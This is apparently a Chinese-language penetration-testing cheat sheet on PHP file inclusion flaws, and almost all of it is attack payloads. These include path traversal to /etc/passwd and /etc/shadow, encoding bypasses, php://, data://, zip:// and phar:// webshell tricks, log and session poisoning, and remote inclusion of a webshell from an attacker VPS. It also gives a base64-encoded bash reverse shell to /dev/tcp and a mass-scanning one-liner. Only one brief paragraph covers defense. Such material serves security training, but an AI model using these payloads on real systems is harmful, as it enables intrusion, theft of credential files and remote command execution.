0x01 概述#
什么是文件包含漏洞
文件包含漏洞是指在使用 php 函数引入文件时没有对传入的文件名进行适当校验,导致了攻击者可以构造恶意参数,可以操作和读取不应被访问的文件,甚至将恶意代码注入到服务器中。
文件包含漏洞的危害
- 访问和读取敏感文件,如配置文件、密码文件等。
- 执行任意代码,包括系统命令、远程代码等,从而控制服务器。
- 注入恶意代码,如跨站脚本攻击(XSS)等,窃取用户数据或劫持用户会话。
PHP 中导致文件包含漏洞的相关函数
include()
include_once()
require()
require_once()
include () 和 require () 的不同点
- include () 引入文件失败时会发出一条警告,脚本会
继续执行
;而 require () 引入文件失败时会发出一个致命错误,脚本会停止执行
。 - include () 可以多次引入同一个文件,而 require () 只能引入一次,否则会发出一个致命错误。
include () 和 include_once () 的不同点
- include () 可以多次引入同一个文件,而 include_once () 只会引入一次,如果已经引入过,则不会再次引入。
0x02 文件包含分类#
本地文件包含只能包含服务器本地的文件,而远程文件包含不仅能包含服务器本地的文件,也能包含远程网站的文件
本地文件包含利用
读取系统文件
http://example:28050/control/more/file_include.php?filename=../../../../../../etc/passwd
windows 和 linux 可尝试读取下面的一些内容,列举了一些常见的敏感文件路径信息。
# Windows系统
c:\boot.ini
c:\windows\system32\inetsrv\MetaBase.xml
c:\windows\repair\sam
c:\ProgramFiles\mysql\my.ini
c:\ProgramFiles\mysql\data\mysql\user.MYD
c:\windows\php.ini
# Linux/Unix系统
/etc/passwd
/etc/shadow
/usr/local/app/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhost.conf
/usr/local/app/php5/lib/php.ini
/etc/httpd/conf/httpd.conf
/etc/my.conf
可配合 burpsuite 进行敏感文件爆破
或者利用目录扫描工具 gobuster
gobuster fuzz -u "http://<target>/static/ueditor/php/controller.php?action=proxy&remote=file://FUZZ" -w "/pentesting/web-basic/p12-字典收集/pentesting/web/payloads/lfi-rfi/lfi-linux-list.txt" --exclude-length 2176 -H 'Header1: 200' -b 400
当包含的文件中含有 php 代码时,不管文件以什么结尾,都会被当成 php 文件去执行,如 1.txt 文件的内容是<?php phpinfo(); ?>
http://127.0.0.1:8999/index.php?file=1.txt
读取服务器代码,需要结合 php 伪协议,如php://filter
读取出来的内容是 base64。
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
如果是远程文件包含,则需要开启 php.ini 中的如下两处配置,都置于 On 状态:
包含远程服务器文件,如下,1.txt 文件的内容是<?php phpinfo(); ?>
http://127.0.0.1:8999/index.php?file=http://192.168.101.173:8080/1.txt
远程文件包含可以在远程服务器上通过 python3 开启 web 服务,然后让目标服务器下载远程服务器上托管的文件。
python -m SimpleHTTPServer <port> # python2
python3 -m http.server <port> # python3
访问 webshell
http://<target>/index.php?page=http://vps_ip/webshell.php&cmd=id
也可以采用 ftp 协议,开启 ftp 服务下载
python3 -m pyftpdlib -p 21
访问 webshell
http://<target>/index.php?page=ftp://vps_ip/webshell.php&cmd=id
0x03 文件包含漏洞绕过#
1、%00 截断 (php 版本小于 5.3.4, 且 GPC 关闭)
http://192.168.100.157/fi/02.php?filename=/etc/passwd%00
2、利用远程文件包含
可以使用?或者 #绕过后缀限制
http://192.168.100.157/fi/05.php?filename=http://vps_ip:9999/test.txt%23
3、编码绕过
利用url编码:
..%2e%2e%2f ..%2f %2e%2e/
..%2e%2e%5c ..%5c %2e%2e\
二次url编码
../%252e%252e%252f
..\%252e%252e%255c
容器/服务器的编码方式
../..%c0%af %c0%ae%c0%ae/
..\..%c1%9c
0x04 php 伪协议#
PHP 提供了一些杂项输入 / 输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
1、php://filter
# base64
http://<target>/index.php?page=php://filter/read=convert.base64-encode/resource=../../../<directory>/<file>
# ROT13
http://<target>/index.php?page=php://filter/read=string.rot13/resource=../../../<directory>/<file>
http://127.0.0.1:8999/index.php?file=php://filter/convert.base64-encode/resource=index.php
返回的是 base 编码的内容。
2、php://input
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
3、data://
需要启用allow_url_include和allow_url_include
。
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php phpinfo();?>
http://192.168.100.157/fi/10.php?filename=data://text/plain,<?php echo base64_encode(file_get_contents("10.php"));?>
http://192.168.100.157/fi/10.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
4、zip 协议
zip://
流是一种可以访问压缩文件中的文件的 PHP 功能,当与文件包含函数结合使用时,zip://
流会被解析为 PHP 文件,并执行其中的代码,从而导致任意代码执行的风险。
在使用zip://
流时,需要传入绝对路径,要分隔压缩包和压缩包内的文件内容,可以使用 #符号,并且需要对 #进行 URL 编码(将 #替换为%23
)。
test.zip中包含test.txt文件
http://127.0.0.1/index.php?test=zip:///var/www/html/test.zip%23test.txt
5、phar 协议
准备一个 php 文件
# webshell.php
<?php
$phar = new Phar('webshell.phar');
$phar->startBuffering();
$phar->addFromString('webshell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
?>
生成 phar 文件
php --define phar.readonly=0 webshell.php
mv webshell.phar webshell.jpg
将 webshell.jpg 文件上传到目标 Web 服务器,并从已识别的本地文件包含(LFI)中执行它。
http://<target>/index.php?page=phar://webshell.jpg/webshell.txt&cmd=id
6、file://(文件绝对路径)
file://
用于访问本地文件系统,且不受 allow_url_fopen 与 allow_url_include 的影响。
用法如下:
http://127.0.0.1:8999/index.php?file=file:///etc/passwd
伪协议使用条件
协议 | 测试 PHP 版本 | allow_url_fopen | allow_url_include | 用法 | |
---|---|---|---|---|---|
file | >= 4.0.0 | On/off | On/off | ?file=file:///etc/passwd | |
gopher | >= 4.3.0 | On | Off | ?file=gopher://example.com:test | |
http | >= 4.0.0 | On | Off | ?file=https://example.com/test | |
ftp | >= 4.0.0 | On | Off | ?file=ftp://example.com/file.txt | |
data | >= 5.2.0 | On | On | ?text=data:text/plain,<?php phpinfo();?> | |
phar | >= 5.3.0 | On | Off | ?file=phar://path/to/file.phar/test.php | |
php://filter | >= 5.2.0 | On/off | On/off | ?file=php://filter/read=string.rot13/resource=example.php or php://filter/read=convert.base64-encode/resource=./index.php | |
expect | >= 4.3.0 | On | Off | ?cmd=expect://id | |
php://input | >= 5.2.0 | On/off | On/off | ?file=php://input post data: <?php phpinfo();?> | |
zip | >= 5.2.0 | On/off | On/off | ?file=zip:///var/www/html/file.zip%23shell.txt |
0x05 文件包含漏洞防护#
为了避免文件包含漏洞,开发人员应该始终对用户输入进行严格的验证和过滤,包括限制文件路径、过滤特殊字符等。此外,最好将敏感文件放置在服务器外部或者使用访问控制列表(ACL)来限制对敏感文件的访问。
0x06 其他#
1、文件包含导致 RCE#
1、利用 php://input 协议
POST /index.php?page=php://input
Host: <target>
<?php system('whoami'); ?>
or
POST /index.php?page=php://input&cmd=cat /etc/passwd
<?php echo(shell_exec($_GET['cmd']));?>
2、利用 data 协议
http://<target>/index.php?page=data://text/plain,<?php system('whoami'); ?>
http://jtongic.com:83/start/index.php?page=data:text/plain,<?php system('ls ../');?>
http://<target>/index.php?page=data://text/plain;base64,<base64>
3、文件包含执行 webshell 命令
# 准备一个webshell并base64编码
echo '<?php system($_GET['cmd']); ?>' | base64
# 编码后的内容如下
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
# 最终payload
http://<target>/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
4、文件包含反弹 shell
# Reverse shell (Bash)
bash -c 'bash -i >& /dev/tcp/<IP-Address>/<port> 0>&1'
# Reverse shell (Bash)base64编码
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
# 最终payload
http://<target>/index.php?page=data://text/plain;base64,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC97SVAtQWRkcmVzc30ve3BvcnR9IDA+JjEn
5、文件上传结合 zip 协议
准备一个 zip 压缩包,里面是 php 文件
echo '<?php system($_GET['cmd']); ?>' > webshell.php
zip webshell.zip webshell.php
将 webshell.zip 文件上传到目标 Web 服务器,可以使用 #符号引用 webshell.zip 文件中的文件。
http://<target>/index.php?page=zip://webshell.zip#cmd.php&cmd=id
http://<target>/index.php?page=zip://webshell.zip%23cmd.php&cmd=id
4、文件上传结合图片
准备一个图片马
echo 'GIF89a<?php system($_GET["cmd"]); ?>' > webshell.gif
上传图片至服务器并包含它
http://<target>/index.php?page=webshell.gif&cmd=id
如果可以控制服务器上磁盘上的内容,(如 servers logs),则可升级为命令执行。
6、文件包含日志 RCE
linux 下日志文件路径
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
将 webshell 写入日志,只要随意访问页面,请求包中写上 webshell。
GET /index.php?page=<log-file>
Host: <target>
User-Agent: <?php system($_GET['cmd']); ?>
访问 webshell
http://<target>/index.php?page=<log-file>&cmd=id
6、php session RCE
php session 存储路径如下:
/var/lib/php/sessions/
C:\Windows\Temp
大体流程:
假如PHPSESSID
值为ujllfv2j2j2sm7ae11is401hvdf9
。
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9
修改存储在会话中的任何值,如下:
<?php system($_GET['cmd']); ?>
访问 webshell 执行命令
http://<target>/index.php?page=<session-files-path>/sess_ujllfv2j2sm7ae11is401hvdf9&cmd=id
案例:
SESSION["username"]= $_GET['iwebsec'];
将 iwebsec 变量的值存到 session 中,当访问http://192.168.100.157/fi/03.php?iwebsec=iwebsec 时,会在 /var/lib/php/sessions/ 目录下存储 session 的值。
session 可以通过浏览器 F12 - 网络中查看,session 的内容包括:sess_PHPSESSID
将内容写入了 session 后,然后通过文件包含漏洞包含 session 文件。
执行命令
2、一条命令文件包含#
gau $target | gf lfi | qsreplace "/etc/passwd" | xargs -I % -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
- gau,获取已知的 url
- gf: 过滤出对应的内容
- qsreplace: 接受标准输入上的 URL,用用户提供的值替换所有查询字符串值,每个主机和路径只输出查询字符串参数的每个组合一次。
3、工具#